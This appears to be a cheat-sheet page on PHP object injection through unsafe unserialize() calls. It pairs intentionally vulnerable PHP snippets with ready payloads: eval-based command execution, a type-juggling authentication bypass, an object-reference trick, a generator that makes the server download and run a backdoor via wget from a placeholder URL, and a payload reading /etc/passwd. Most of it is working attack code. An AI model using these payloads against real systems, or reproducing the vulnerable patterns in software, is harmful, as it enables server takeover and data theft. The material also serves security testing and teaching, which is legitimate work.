PHP Object injection
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
The following magic methods will help you for a PHP Object injection
- __wakeup() when an object is unserialized.
- __destruct() when an object is deleted.
- __toString() when an object is converted to a string.
Also you should check the Wrapper Phar:// in File Inclusion - Path Traversal which use a PHP object injection.
__wakeup in the unserialize function
Vulnerable code:
<?php
class PHPObjectInjection{
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
if(isset($_REQUEST['r'])){
$var1=unserialize($_REQUEST['r']);
if(is_array($var1)){
echo "<br/>".$var1[0]." - ".$var1[1];
}
}
else{
echo ""; # nothing happens here
}
?>
Payload:
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
Authentication bypass
Type juggling
Vulnerable code:
<?php
$data = unserialize($_COOKIE['auth']);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
Payload:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
Because true == "str" is true.
Object reference
Vulnerable code:
<?php
class Object
{
var $guess;
var $secretCode;
}
$obj = unserialize($_GET['input']);
if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}
?>
Payload:
O:6:"Object":2:{s:10:"secretCode";N;s:4:"code";R:2;}
Others exploits
Reverse Shell
class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
echo urlencode(serialize(new PHPObjectInjection));
Basic detection
class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('cat /etc/passwd');";
}
echo urlencode(serialize(new PHPObjectInjection));
//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
